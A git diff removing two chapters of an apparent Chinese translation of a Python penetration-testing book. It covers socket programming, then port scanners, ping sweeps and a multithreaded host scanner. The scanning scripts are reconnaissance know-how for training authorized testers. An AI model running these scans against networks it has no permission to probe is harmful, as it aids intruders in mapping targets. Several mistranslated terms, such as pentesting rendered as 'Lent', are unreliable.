是一种无连接协议;因此,套接字不应连接到远程计算机,address 参数指定远程计算机的地址。返回值给出发送的字节数。 -* `socket.sendall(data)`:顾名思义,这个方法将所有数据发送到套接字。发送数据之前,请确保套接字已连接到远程计算机。此方法不间断地传输数据,直到发现错误为止。如果发现错误,将出现异常,`socket.close()`将关闭套接字。 - -现在是务实的时候了;不再有世俗的理论了。 - -# 继续实际操作 - -首先,我们将制作一个服务器端程序,提供与客户端的连接,并向客户端发送消息。运行`server1.py`: - -``` -import socket -host = "192.168.0.1" #Server address -port = 12345 #Port of Server -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.bind((host,port)) #bind server -s.listen(2) -conn, addr = s.accept() -print addr, "Now Connected" -conn.send("Thank you for connecting") -conn.close() -``` - -前面的代码非常简单;这是服务器端的最小代码。 - -首先导入 socket 模块,定义主机和端口号:`192.168.0.1`是服务器的 IP 地址。`Socket.AF_INET`定义了 IPv4 协议的系列。`Socket.SOCK_STREAM`定义 TCP 连接。`s.bind((host,port))`语句只接受一个参数。它将套接字绑定到主机和端口号。`s.listen(2)`语句侦听连接并等待客户端。`conn, addr = s.accept()`语句返回两个值:`conn`和`addr`。正如我们前面所讨论的,`conn`套接字是客户机套接字。`conn.send()`功能向客户端发送消息。最后,`conn.close()`关闭插座。通过以下示例和屏幕截图,您将更好地理解`conn`。 - -这是`server1.py`程序的输出: - -``` -G:\Python\Networking>python server1.py - -``` - -现在,服务器处于侦听模式,正在等待客户端: - -让我们看看客户端代码。运行`client1.py`: - -``` -import socket -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -host = "192.168.0.1" # server address -port =12345 #server port -s.connect((host,port)) -print s.recv(1024) -s.send("Hello Server") -s.close() -``` - -在前面的代码中,有两种方法是新的:`s.connect((host,port))`,用于将客户端连接到服务器;以及`s.recv(1024)`,用于接收服务器发送的字符串。 - -`client.py`的输出和服务器的响应如下图所示: - -![Moving on to the practical](graphics/8583OT_01_01.jpg) - -前面的输出屏幕截图显示服务器接受了来自`192.168.0.11`的连接。不要因为看到端口`1789`而感到困惑;它是客户端的随机端口。当服务器向客户端发送消息时,它使用前面提到的`conn`套接字,此 conn 套接字包含客户端 IP 地址和端口号。 - -下图显示了客户端如何接受来自服务器的连接。服务器处于侦听模式,客户端连接到服务器。当您再次运行服务器和客户端程序时,随机端口会发生更改。对于客户端,服务器端口**12345**为目的端口,对于服务器,客户端随机端口**1789**为目的端口。 - -![Moving on to the practical](graphics/8583OT_01_02.jpg) - -您可以使用`while`循环扩展服务器的功能,如下程序所示。运行`server2.py`程序: - -``` -import socket -host = "192.168.0.1" -port = 12345 -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.bind((host,port)) -s.listen(2) -while True: - conn, addr = s.accept() - print addr, "Now Connected" - conn.send("Thank you for connecting") - conn.close() -``` - -前面的代码与前面的代码相同,只是增加了无限`while`循环。 - -运行`server2.py`程序,从客户端运行`client1.py`。 - -`server2.py`的输出如下图所示: - -![Moving on to the practical](graphics/8583OT_01_03.jpg) - -一台服务器可以为多个客户端提供服务。`while`循环使服务器程序保持活动状态,不允许代码结束。您可以设置`while`环路的连接限制;例如,对每个连接设置`while i>10`和增加`i`。 - -在继续下一个示例之前,应该理解`bytearray`的概念。`bytearray`数组是 0 到 255 范围内的无符号整数的可变序列。可以删除、插入或替换任意值或切片。通过调用内置的`bytearray`数组,可以创建`bytearray`数组的对象。 - -`bytearray`的一般语法如下: - -``` -bytearray([source[, encoding[, errors]]]) -``` - -让我们用一个例子来说明这一点 2: - -``` ->>> m = bytearray("Mohit Mohit") ->>> m[1] -111 ->>> m[0] -77 ->>> m[:5]= "Hello" ->>> m -bytearray(b'Hello Mohit') ->>> -``` - -这是`bytearray`的切片示例。 - -现在我们来看`bytearray()`上的拆分操作: - -``` ->>> m = bytearray("Hello Mohit") ->>> m -bytearray(b'Hello Mohit') ->>> m.split() -[bytearray(b'Hello'), bytearray(b'Mohit')] -``` - -以下是对`bytearray()`的追加操作: - -``` ->>> m.append(33) ->>> m -bytearray(b'Hello Mohit!') ->>> bytearray(b'Hello World!') -``` - -下一个例子是`s.recv_into(buff)`的例子。在本例中,我们将使用`bytearray()`创建一个缓冲区来存储数据。 - -首先,运行服务器端代码。运行`server3.py`: - -``` -import socket -host = "192.168.0.1" -port = 12345 -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.bind((host, port)) -s.listen(1) -conn, addr = s.accept() -print "connected by", addr -conn.send("Thanks") -conn.close() -``` - -前面的程序与前面的程序相同。在这个程序中,服务器发送`Thanks`,六个字符。 - -让我们运行客户端程序。运行`client3.py`: - -``` -import socket -host = "192.168.0.1" -port = 12345 -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.connect((host, port)) -buf = bytearray("-" * 30) # buffer created -print "Number of Bytes ",s.recv_into(buf) -print buf -s.close -``` - -在前面的程序中,使用`bytearray()`创建`buf`参数。`s.recv_into(buf)`语句给出了接收到的字节数。`buf`参数为我们提供接收到的字符串。 - -`client3.py`和`server3.py`的输出如下图所示: - -![Moving on to the practical](graphics/8583OT_01_04.jpg) - -我们的客户端程序成功接收到 6 字节的字符串`Thanks`。现在,你一定对`bytearray()`有了概念。我希望你会记得。 - -这次我将创建一个 UDP 套接字。 - -运行`udp1.py`,我们将逐行讨论代码: - -``` -import socket -host = "192.168.0.1" -port = 12346 -s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) -s.bind((host,port)) -data, addr = s.recvfrom(1024) -print "received from ",addr -print "obtained ", data -s.close() -``` - -`socket.SOCK_DGRAM`创建一个 UDP 套接字,`data, addr = s.recvfrom(1024)`返回两个内容:第一个是数据,第二个是源地址。 - -现在,请参阅客户端准备。运行`udp2.py`: - -``` -import socket -host = "192.168.0.1" -port = 12346 -s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) -print s.sendto("hello all",(host,port)) -s.close() -``` - -在这里,我使用了 UDP 套接字和`s.sendto()`方法,正如您在`socket.sendto()`的定义中所看到的。您非常清楚 UDP 是一种无连接协议,因此不需要在这里建立连接。 - -以下屏幕截图显示了`udp1.py`(UDP 服务器)和`udp2.py`(UDP 客户端)的输出: - -![Moving on to the practical](graphics/8583OT_01_05.jpg) - -服务器程序成功接收数据。 - -让我们假设服务器正在运行,并且没有客户机启动连接,并且服务器将一直在侦听。因此,为了避免这种情况,请使用`socket.settimeout(value)`。 - -通常,我们以整数形式给出一个值;如果我给 5 作为值,它将意味着等待 5 秒。如果操作未在 5 秒内完成,则会引发超时异常。还可以提供非负浮点值。 - -例如,让我们看一下以下代码: - -``` -import socket -host = "192.168.0.1" -port = 12346 -s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) -s.bind((host,port)) -s.settimeout(5) -data, addr = s.recvfrom(1024) -print "recevied from ",addr -print "obtained ", data -s.close() -``` - -我多加了一行,就是`s.settimeout(5)`。程序等待 5 秒;只有在这之后,它才会发出错误消息。运行`udptime1.py`。 - -输出如以下屏幕截图所示: - -![Moving on to the practical](graphics/8583OT_01_06.jpg) - -程序显示错误;但是,如果它给出错误消息,则看起来不太好。程序应该处理异常。 - -## 套接字异常 - -为了处理异常,我们将使用 try 和 except 块。下一个示例将告诉您如何处理异常。运行`udptime2.py`: - -``` -import socket -host = "192.168.0.1" -port = 12346 -s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) -try: - - s.bind((host,port)) - s.settimeout(5) - data, addr = s.recvfrom(1024) - print "recevied from ",addr - print "obtained ", data - s.close() - -except socket.timeout : - print "Client not connected" - s.close() -``` - -输出如以下屏幕截图所示: - -![Socket exceptions](graphics/8583OT_01_07.jpg) - -在 try 块中,我输入我的代码,如果出现任何异常,将从 except 块打印一条定制消息。 - -Python 的套接字库中为不同的错误定义了不同类型的异常。这些例外情况如下所述: - -* `exception socket.herror`:此块捕获与地址相关的错误。 -* `exception socket.timeout`:此块捕获套接字发生超时时的异常,已由`settimeout()`启用。在前面的示例中,您可以看到我们使用了`socket.timeout`。 -* `exception socket.gaierror`:此块捕获由于`getaddrinfo()`和`getnameinfo()`而引发的任何异常。 -* `exception socket.error`:此块捕获任何与套接字相关的错误。如果您不确定是否有任何异常,可以使用此选项。换句话说,您可以说它是一个泛型块,可以捕获任何类型的异常。 - -## 有用的套接字方法 - -到目前为止,您已经了解了套接字和客户机-服务器体系结构。在这个级别上,您可以制作一个小型的网络程序。然而,本模块的目的是测试网络并收集信息。Python 提供了非常漂亮而且有用的方法来收集信息。首先,导入套接字,然后使用以下方法: - -* `socket.gethostbyname(hostname)`: This method converts a hostname to the IPv4 address format. The IPv4 address is returned in the form of a string. Here is an example: - - ``` - >>> import socket - >>> socket.gethostbyname('thapar.edu') - '220.227.15.55' - >>> - >>> socket.gethostbyname('google.com') - '173.194.126.64' - >>> - - ``` - - 我知道你在考虑关于`nslookup`的命令。稍后,你会看到更多的魔法。 - -* `socket.gethostbyname_ex(name)`: This method converts a hostname to the IPv4 address pattern. However, the advantage over the previous method is that it gives all the IP addresses of the domain name. It returns a tuple (hostname, canonical name, and IP_addrlist) where the hostname is given by us, the canonical name is a (possibly empty) list of canonical hostnames of the server for the same address, and IP_addrlist is a list all the available IPs of the same hostname. Often, one domain name is hosted on many IP addresses to balance the load of the server. Unfortunately, this method does not work for IPv6\. I hope you are well acquainted with tuple, list, and dictionary. Let's look at an example: - - ``` - >>> socket.gethostbyname_ex('thapar.edu') - ('thapar.edu', [], ['14.139.242.100', '220.227.15.55']) - >>> socket.gethostbyname_ex('google.com') - >>> - ('google.com', [], ['173.194.36.64', '173.194.36.71', '173.194.36.73', '173.194.36.70', '173.194.36.78', '173.194.36.66', '173.194.36.65', '173.194.36.68', '173.194.36.69', '173.194.36.72', '173.194.36.67']) - >>> - - ``` - - 它返回单个域名的多个 IP 地址。这意味着一个域,如`thapar.edu`或`google.com`在多个 IP 上运行。 - -* `socket.gethostname()`: This returns the hostname of the system where the Python interpreter is currently running: - - ``` - >>> socket.gethostname() - 'eXtreme' - - ``` - - 要通过套接字模块收集当前机器的 IP 地址,您可以使用`gethostbyname(gethostname())`使用以下技巧: - - ``` - >>> socket.gethostbyname(socket.gethostname()) - '192.168.10.1' - >>> - - ``` - - 你知道我们的计算机有很多接口。如果要知道所有接口的 IP 地址,请使用扩展接口:。 - - ``` - >>> socket.gethostbyname_ex(socket.gethostname()) - ('eXtreme', [], ['10.0.0.10', '192.168.10.1', '192.168.0.1']) - >>> - - ``` - - 它返回一个包含三个元素的元组:第一个是机器名,第二个是主机名的别名列表(本例中为空),第三个是接口的 IP 地址列表。 - -* `socket.getfqdn([name])`: This is used to find the fully qualified name, if it's available. The fully qualified domain name consists of a host and domain name; for example, `beta` might be the hostname, and `example.com` might be the domain name. The **fully qualified domain name** (**FQDN**) becomes `beta.example.com`:. - - ``` - >>> socket.getfqdn('facebook.com') - 'edge-star-shv-12-frc3.facebook.com' - - ``` - - 在上例中,`edge-star-shv-12-frc3`是主机名,`facebook.com`是域名。在以下示例中,FQDN 不适用于`thapar.edu`: - - ``` - >>> socket.getfqdn('thapar.edu') - 'thapar.edu' - - ``` - - 如果 name 参数为空,则返回当前计算机名称: - - ``` - >>> socket.getfqdn() - 'eXtreme' - >>> - - ``` - -* `socket.gethostbyaddr(ip_address)`: This is like a "reverse" lookup for the name. It returns a tuple (hostname, canonical name, and IP_addrlist) where hostname is the hostname that responds to the given `ip_address`, the canonical name is a (possibly empty) list of canonical names of the same address, and IP_addrlist is a list of IP addresses for the same network interface on the same host: - - ``` - >>> socket.gethostbyaddr('173.194.36.71') - ('del01s06-in-f7.1e100.net', [], ['173.194.36.71']) - - >>> socket.gethostbyaddr('119.18.50.66') - - Traceback (most recent call last): - File "", line 1, in - socket.gethostbyaddr('119.18.50.66') - herror: [Errno 11004] host not found - - ``` - - 它在上次查询中显示错误,因为不存在反向 DNS 查找。 - -* `socket.getservbyname(servicename[, protocol_name])`:将任何协议名称转换为相应的端口号。协议名称是可选的,可以是 TCP 或 UDP。例如,DNS 服务使用 TCP 和 UDP 连接。如果没有给出协议名称,任何协议都可以匹配: - - ``` - >>> import socket - >>> socket.getservbyname('http') - 80 - >>> socket.getservbyname('smtp','tcp') - 25 - >>> - - ``` - -* `socket.getservbyport(port[, protocol_name])`:此将互联网端口号转换为对应的服务名称。协议名称是可选的,TCP 或 UDP: - - ``` - >>> socket.getservbyport(80) - 'http' - >>> socket.getservbyport(23) - 'telnet' - >>> socket.getservbyport(445) - 'microsoft-ds' - >>> - - ``` - -* `socket.connect_ex(address)`:此方法返回一个错误指示器。如果成功的话。它返回 0;否则返回`errno`变量。您可以利用此功能扫描端口。运行`connet_ex.py`程序: - - ``` - import socket - rmip ='127.0.0.1' - portlist = [22,23,80,912,135,445,20] - - for port in portlist: - sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM) - result = sock.connect_ex((rmip,port)) - print port,":", result - sock.close() - ``` - -输出如以下屏幕截图所示: - -![Useful socket methods](graphics/8583OT_01_08.jpg) - -前面的程序输出显示端口`80`、`912`、`135`和`445`打开。这是一个基本的端口扫描仪。程序正在使用 IP 地址`127.0.0.1`;这是一个环回地址,因此不可能存在任何连接问题。但是,当您遇到问题时,请在另一个端口列表较大的设备上执行此操作。这次您必须使用`socket.settimeout(value)`: - -``` -socket.getaddrinfo(host, port[, family[, socktype[, proto[, flags]]]]) -``` - -此套接字方法将主机和端口参数转换为五个元组的序列。 - -让我们来看看下面的例子: - -``` ->>> import socket ->>> socket.getaddrinfo('www.thapar.edu', 'http') -[(2, 1, 0, '', ('220.227.15.47', 80)), (2, 1, 0, '', ('14.139.242.100', 80))] ->>> - -``` - -输出`2`表示族,`1`表示套接字类型,`0`表示协议,`''`表示规范名称,`('220.227.15.47', 80)`表示 2 套接字地址。然而,这个数字很难理解。打开套接字的目录。 - -使用以下代码以可读形式查找结果: - -``` -import socket -def get_protnumber(prefix): - return dict( (getattr(socket, a), a) - for a in dir(socket) - if a.startswith(prefix)) - -proto_fam = get_protnumber('AF_') -types = get_protnumber('SOCK_') -protocols = get_protnumber('IPPROTO_') - -for res in socket.getaddrinfo('www.thapar.edu', 'http'): - - family, socktype, proto, canonname, sockaddr = res - - print 'Family :', proto_fam[family] - print 'Type :', types[socktype] - print 'Protocol :', protocols[proto] - print 'Canonical name:', canonname - print 'Socket address:', sockaddr -``` - -代码的输出如以下屏幕截图所示: - -![Useful socket methods](graphics/8583OT_01_09.jpg) - -上面的部分使用`AF_`、`SOCK_`和`IPPROTO_`前缀制作了一个字典,这些前缀将协议编号映射到它们的名称。本词典由列表理解技术构成。 - -代码的上半部分有时可能会令人困惑,但我们可以按如下方式单独执行代码: - -``` ->>> dict(( getattr(socket,n),n) for n in dir(socket) if n.startswith('AF_')) -{0: 'AF_UNSPEC', 2: 'AF_INET', 6: 'AF_IPX', 11: 'AF_SNA', 12: 'AF_DECnet', 16: 'AF_APPLETALK', 23: 'AF_INET6', 26: 'AF_IRDA'} - -``` - -现在,这很容易理解。此代码通常用于获取协议编号: - -``` -for res in socket.getaddrinfo('www.thapar.edu', 'http'): -``` - -如定义中所述,前一行代码返回五个值。然后将这些值与其对应的字典进行匹配。 - -# 总结 - -现在,您已经有了用 Python 进行网络连接的想法。本章的目的是完成后续章节的先决条件。从一开始,你就学会了五旬斋的必要性。Pentesting 用于识别组织中的威胁和漏洞。应该测试什么?这在协议中有规定;不要尝试测试协议中未提及的任何内容。协议是你的免监禁卡。戊酯应了解最新技术。在开始阅读本模块之前,您应该了解一些 Python 知识。为了运行 Python 脚本,您应该有一个实验室设置、一个用于测试实时系统的计算机网络,以及在 Apache 服务器上运行的虚拟网站。本章讨论了套接字及其方法。服务器套接字方法定义了如何创建简单的服务器。服务器绑定自己的地址和端口以侦听连接。知道服务器地址和端口号的客户端连接到服务器以获得服务。一些套接字方法,如`socket.recv(bufsize)`、`socket.recvfrom(bufsize)`、`socket.recv_into(buffer)`、`socket.send(bytes)`等,对服务器和客户端都很有用。您学习了如何处理不同类型的异常。在*有用的套接字方法*部分,您了解了如何获取机器的 IP 和主机名,如何从域名中收集 IP 地址,反之亦然。 - -在下一章中,您将看到扫描 pentesting,其中包括检测活动主机的 IP 地址扫描。执行 IP 扫描时,使用 ping 扫描和 TCP 扫描。您将学习如何使用端口扫描程序检测远程主机上运行的服务。 \ No newline at end of file diff --git a/trans/py-pentest-dev/12.md b/trans/py-pentest-dev/12.md deleted file mode 100644 index 68692bb..0000000 --- a/trans/py-pentest-dev/12.md +++ /dev/null @@ -1,949 +0,0 @@ -# 第二章扫描测试 - -网络扫描指的是一组过程,用于调查活动主机、主机类型、打开的端口以及主机上运行的服务类型。网络扫描是情报收集的一部分,通过它,攻击可以创建目标组织的个人资料。 - -在本章中,我们将介绍以下主题: - -* 如何检查实时系统 -* 平扫 -* TCP 扫描器 -* 如何创建高效的 IP 扫描程序 -* 在目标计算机上运行的服务 -* 端口扫描仪的概念 -* 如何创建高效的端口扫描程序 - -您应该具备 TCP/IP 层通信的基本知识。在继续之前,**协议数据单元**(**PDU**的概念应该清楚。 - -PDU 是协议中指定的数据单元。它是各层数据的通用术语。 - -* 对于应用层,PDU 表示数据 -* 对于传输层,PDU 表示一个段 -* 对于 Internet 或网络层,PDU 表示数据包 -* 对于数据链路层或网络访问层,PDU 表示帧 -* 对于物理层,即物理传输,PDU 指示位 - -# 如何检查网络中的带电系统以及带电系统的概念 - -Ping 扫描涉及向主机发送**ICMP 回送请求**。如果主机处于活动状态,则会返回一个**ICMP 回显回复**,如下图所示: - -![How to check live systems in a network and the concept of a live system](graphics/8583OT_02_01.jpg) - -ICMP 请求和回复 - -操作系统的`ping`命令提供了检查主机是否处于活动状态的工具。考虑一种情况,您必须测试 IP 地址的完整列表。在这种情况下,如果您逐个测试 IP,将需要大量的时间和精力。为了处理这种情况,我们使用 ping-sweep。 - -## 平扫 - -Ping 扫描用于通过发送 ICMP 回显请求和 ICMP 回显回复,从一系列 IP 地址中识别活动的主机。攻击者或 pentester 可以根据子网和网络地址计算网络范围。在本节中,我将演示如何利用操作系统的 ping 功能。 - -首先,我将编写一段简单的代码,如下所示: - -``` -import os -response = os.popen('ping -n 1 10.0.0.1') -for line in response.readlines(): -print line, -``` - -在前面的代码中,`import os`导入 OS 模块,以便我们可以运行 OS 命令。接受 DOS 命令的下一行`os.popen('ping -n 1 10.0.0.1')`作为字符串传入,并返回一个与命令的标准输入或输出流连接的类似文件的对象。`ping –n 1 10.0.0.1`命令是一个 Windows 操作系统命令,发送一个 ICMP 回显请求数据包。通过读取`os.psopen()`函数,可以截获命令的输出。输出存储在`response`变量中。在下一行中,`readlines()`函数用于读取类似文件的对象的输出。 - -程序的输出如下: - -``` -G:\Project Snake\Chapter 2\ip>ips.py - -Pinging 10.0.0.1 with 32 bytes of data: -Reply from 10.0.0.1: bytes=32 time=3ms TTL=64 - -Ping statistics for 10.0.0.1: - Packets: Sent = 1, Received = 1, Lost = 0 (0% loss), -Approximate round trip times in milli-seconds: - Minimum = 3ms, Maximum = 3ms, Average = 3ms - -``` - -输出显示`reply`、`byte`、`time`和`TTL`值,表示主机处于活动状态。考虑 IP 输出 T4 的程序的另一个输出。 - -``` -G:\Project Snake\Chapter 2\ip>ips.py -Pinging 10.0.0.2 with 32 bytes of data: -Reply from 10.0.0.16: Destination host unreachable. - -Ping statistics for 10.0.0.2: - Packets: Sent = 1, Received = 1, Lost = 0 (0% loss), - -``` - -前面的输出显示主机不是活动的。 - -上述代码对于正常工作非常重要,与汽车发动机类似。为了使其功能全面,我们需要修改代码,使其独立于平台,并生成易于阅读的输出。 - -我希望我的代码适用于一系列 IP: - -``` -import os -net = raw_input("Enter the Network Address ") -net1= net.split('.') -print net1 -a = '.' -net2 = net1[0]+a+net1[1]+a+net1[2]+a -print net2 -st1 = int(raw_input("Enter the Starting Number ")) -en1 = int(raw_input("Enter the Last Number ")) -``` - -前面的代码要求提供子网的网络地址,但您可以提供子网的任何 IP 地址。下一行`net1= net.split('.')`将 IP 地址分为四部分。`net2 = net1[0]+a+net1[1]+a+net1[2]+a`语句构成网络地址。最后两行要求提供一系列 IP 地址。 - -要使 it 平台独立,请使用以下代码: - -``` -import os -import platform -oper = platform.system() -if (oper=="Windows"): - ping1 = "ping -n 1 " -elif (oper== "Linux"): - ping1 = "ping -c 1 " -else : - ping1 = "ping -c 1 " -``` - -前面的代码确定代码是在 Windows 操作系统上运行还是在 Linux 平台上运行。`oper = platform.system()`语句将此通知正在运行的操作系统,因为`ping`命令在 Windows 和 Linux 中不同。Windows 操作系统使用`ping –n 1`发送 ICMP 回显请求的一个数据包,而 Linux 使用`ping –c 1`。 - -现在,让我们看看以下完整代码: - -``` -import os -import platform -from datetime import datetime -net = raw_input("Enter the Network Address ") -net1= net.split('.') -a = '.' -net2 = net1[0]+a+net1[1]+a+net1[2]+a -st1 = int(raw_input("Enter the Starting Number ")) -en1 = int(raw_input("Enter the Last Number ")) -en1=en1+1 -oper = platform.system() - -if (oper=="Windows"): - ping1 = "ping -n 1 " -elif (oper== "Linux"): - ping1 = "ping -c 1 " -else : - ping1 = "ping -c 1 " -t1= datetime.now() -print "Scanning in Progress" -for ip in xrange(st1,en1): - addr = net2+str(ip) - comm = ping1+addr - response = os.popen(comm) - for line in response.readlines(): - if(line.count("TTL")): - break - if (line.count("TTL")): - print addr, "--> Live" - -t2= datetime.now() -total =t2-t1 -print "scanning complete in " , total -``` - -在这里,前面的代码中有一些新的东西。`for ip in xrange(st1,en1):`语句提供数字值,即 IP 地址的最后一个八位字节值。在循环中,`addr = net2+str(ip)`语句使其成为一个完整的 IP 地址,`comm = ping1+addr`语句使其成为传递给`os.popen(comm)`的完整 OS 命令。`if(line.count("TTL")):`语句检查行中是否出现`TTL`。如果在该行中找到任何`TTL`值,则使用`break`语句中断该行的进一步处理。接下来的两行代码将 IP 地址打印为 live,其中找到了`TTL`。我用`datetime.now()`来计算扫描的总时间。 - -`ping_sweep.py`程序的输出如下: - -``` -G:\Project Snake\Chapter 2\ip>python ping_sweep.py -Enter the Network Address 10.0.0.1 -Enter the Starting Number 1 -Enter the Last Number 60 -Scanning in Progress -10.0.0.1 --> Live -10.0.0.2 --> Live -10.0.0.5 --> Live -10.0.0.6 --> Live -10.0.0.7 --> Live -10.0.0.8 --> Live -10.0.0.9 --> Live -10.0.0.10 --> Live -10.0.0.11 --> Live -scanning complete in 0:02:35.230000 - -``` - -要扫描 60 个 IP 地址,程序需要 2 分 35 秒。 - -## TCP 扫描概念及其使用 Python 脚本的实现 - -Ping sweep 在 ICMP 回送请求和 ICMP 回送回复上起作用。许多用户关闭 ICMP 回送回复功能或使用防火墙阻止 ICMP 数据包。在这种情况下,ping 扫描扫描仪可能无法工作。在这种情况下,需要进行 TCP 扫描。我希望您熟悉三方握手,如下图所示: - -![The TCP scan concept and its implementation using a Python script](graphics/8583OT_02_02.jpg) - -为了建立连接,主机执行三方握手。建立 TCP 连接的三个步骤如下: - -1. 客户端发送带有**SYN**标志的段;这意味着客户端请求服务器启动会话。 -2. 服务器以应答的形式发送包含**ACK**和**SYN**标志的段。 -3. 客户端以**确认**标志进行响应。 - -现在,让我们看一下 TCP 扫描的以下代码: - -``` -import socket -from datetime import datetime -net= raw_input("Enter the IP address ") -net1= net.split('.') -a = '.' -net2 = net1[0]+a+net1[1]+a+net1[2]+a -st1 = int(raw_input("Enter the Starting Number ")) -en1 = int(raw_input("Enter the Last Number ")) -en1=en1+1 -t1= datetime.now() -def scan(addr): - sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM) - socket.setdefaulttimeout(1) - result = sock.connect_ex((addr,135)) - if result==0: - return 1 - else : - return 0 - -def run1(): - for ip in xrange(st1,en1): - addr = net2+str(ip) - if (scan(addr)): - print addr , "is live" - -run1() -t2= datetime.now() -total =t2-t1 -print "scanning complete in " , total -``` - -前面的代码的上半部分与前面的代码相同。这里,我们使用两个函数。首先,`scan(addr)`函数使用了[第 1 章](11.html "Chapter 1. Python with Penetration Testing and Networking")、*Python 中讨论的套接字,具有渗透测试和联网功能*。`result = sock.connect_ex((addr,135))`语句返回一个错误指示符。如果操作成功,错误指示灯为 0,否则为`errno`变量的值。这里,我们使用了端口`135`;此扫描仪适用于 Windows 系统。有些端口,如 137、138、139(NetBIOS 名称服务)和 445(Microsoft DSActive Directory),通常是打开的。因此,为了获得更好的结果,您必须更改端口并重复扫描。 - -`iptcpscan.py`程序的输出如下: - -``` -G:\Project Snake\Chapter 2\ip>python iptcpscan.py -Enter the IP address 10.0.0.1 -Enter the Starting Number 1 -Enter the Last Number 60 -10.0.0.8 is live -10.0.0.11 is live -10.0.0.12 is live -10.0.0.15 is live -scanning complete in 0:00:57.415000 - -G:\Project Snake\Chapter 2\ip> - -``` - -让我们更改端口号,使用`137`,并查看以下输出: - -``` -G:\Project Snake\Chapter 2\ip>python iptcpscan.py -Enter the IP address 10.0.0.1 -Enter the Starting Number 1 -Enter the Last Number 60 -scanning complete in 0:01:00.027000 -G:\Project Snake\Chapter 2\ip> - -``` - -因此,该端口号不会产生结果。更改端口号,使用`445`,输出如下: - -``` -G:\Project Snake\Chapter 2\ip>python iptcpscan.py -Enter the IP address 10.0.0.1 -Enter the Starting Number 1 -Enter the Last Number 60 -10.0.0.5 is live -10.0.0.13 is live -scanning complete in 0:00:58.369000 - -G:\Project Snake\Chapter 2\ip> - -``` - -前面三个输出显示`10.0.0.5`、`10.0.0.8`、`10.0.0.11`、`10.0.0.12`、`10.0.0.13`和`10.0.0.15`处于活动状态。这些 IP 地址在 Windows 操作系统上运行。因此,这是一个用于检查 Linux 的公共开放端口并使 IP 成为完整的 IP TCP 扫描程序的练习。 - -## 如何创建高效的 IP 扫描器 - -到目前为止,您已经看到了 ping 扫描扫描程序和 IP-TCP 扫描程序。想象一下,你买了一辆拥有所有设施的车,但是速度很慢,你会觉得这是浪费时间。当我们的程序执行非常慢时,也会发生同样的事情。为了扫描 60 台主机,`ping_sweep.py`程序花了 2 分钟 35 秒,而 TCP 扫描程序花了将近一分钟的时间扫描相同范围的 IP 地址。他们花了很多时间来产生结果。但别担心。Python 为您提供了多线程,这将使您的程序更快。 - -我已经编写了一个带有多线程的 ping-sweep 完整程序,并将向您详细解释: - -``` -import os -import collections -import platform -import socket, subprocess,sys -import threading -from datetime import datetime -''' section 1 ''' - -net = raw_input("Enter the Network Address ") -net1= net.split('.') -a = '.' -net2 = net1[0]+a+net1[1]+a+net1[2]+a -st1 = int(raw_input("Enter the Starting Number ")) -en1 = int(raw_input("Enter the Last Number ")) -en1 =en1+1 -dic = collections.OrderedDict() -oper = platform.system() - -if (oper=="Windows"): - ping1 = "ping -n 1 " -elif (oper== "Linux"): - ping1 = "ping -c 1 " -else : - ping1 = "ping -c 1 " -t1= datetime.now() -'''section 2''' -class myThread (threading.Thread): - def __init__(self,st,en): - threading.Thread.__init__(self) - self.st = st - self.en = en - def run(self): - run1(self.st,self.en) -'''section 3''' -def run1(st1,en1): - #print "Scanning in Progess" - for ip in xrange(st1,en1): - #print ".", - addr = net2+str(ip) - comm = ping1+addr - response = os.popen(comm) - for line in response.readlines(): - if(line.count("TTL")): - break - if (line.count("TTL")): - #print addr, "--> Live" - dic[ip]= addr -''' Section 4 ''' -total_ip =en1-st1 -tn =20 # number of ip handled by one thread -total_thread = total_ip/tn -total_thread=total_thread+1 -threads= [] -try: - for i in xrange(total_thread): - en = st1+tn - if(en >en1): - en =en1 - thread = myThread(st1,en) - thread.start() - threads.append(thread) - st1 =en -except: - print "Error: unable to start thread" -print "\t -Number of Threads active:", threading.activeCount() - -for t in threads: - t.join() -print "Exiting Main Thread" -dict = collections.OrderedDict(sorted(dic.items())) -for key in dict: - print dict[key],"-->" "Live" -t2= datetime.now() -total =t2-t1 -print "scanning complete in " , total -``` - -`section 1`部分与上一程序相同。这里还有一件事是,我使用了一个有序字典,因为它记住了内容添加的顺序。因此,如果您想知道哪个线程首先给出输出,那么有序字典适合这里。`section 2`部分包含线程类,`class myThread (threading.Thread):`语句初始化线程类。`self.st = st`和`self.en = en`语句取 IP 地址的起始和结束范围。`section 3`部分包含`run1`函数的定义,该函数是汽车的引擎,每个线程使用不同的 IP 地址范围调用该函数。`dic[ip]= addr`语句将主机 ID 存储为密钥,将 IP 地址存储为有序字典中的值。`section 4`语句在本规范中是全新的;`total_ip`变量是要扫描的 IP 总数。`tn =20`变量的意义在于,它表示一个线程将扫描 20 个 IP。`total_thread`变量包含需要扫描`total_ip`的线程总数,表示 IP 的数量。`threads= []`语句创建一个空列表,用于存储线程。`for`循环`for i in xrange(total_thread):`产生线程。 - -``` -en = st1+tn - if(en >en1): - en =en1 - thread = myThread(st1,en) - thread.start() - st1 =en -``` - -前面的代码生成的 IP 范围为 20-20,例如 st1-20、20-40……-en1。`thread = myThread(st1,en)`语句是 threading 类的 thread 对象。 - -``` -for t in threads: - t.join() -``` - -前面的代码终止所有线程。下一行`dict = collections.OrderedDict(sorted(dic.items()))`创建一个新的排序字典`dict`**,其中按顺序包含 IP 地址。下一行按顺序打印实时 IP。`threading.activeCount()`语句显示产生了多少线程。一张图片可以节省 1000 字。下图也做了同样的事情:** - - **![How to create an efficient IP scanner](graphics/8583OT_02_03.jpg) - -创建和处理线程 - -`ping_sweep_th_.py`程序的输出如下: - -``` -G:\Project Snake\Chapter 2\ip>python ping_sweep_th.py -Enter the Network Address 10.0.0.1 -Enter the Starting Number 1 -Enter the Last Number 60 - Number of Threads active: 4 -Exiting Main Thread -10.0.0.1 -->Live -10.0.0.2 -->Live -10.0.0.5 -->Live -10.0.0.6 -->Live -10.0.0.10 -->Live -10.0.0.13 -->Live -scanning complete in 0:01:11.817000 - -``` - -扫描已在 1 分 11 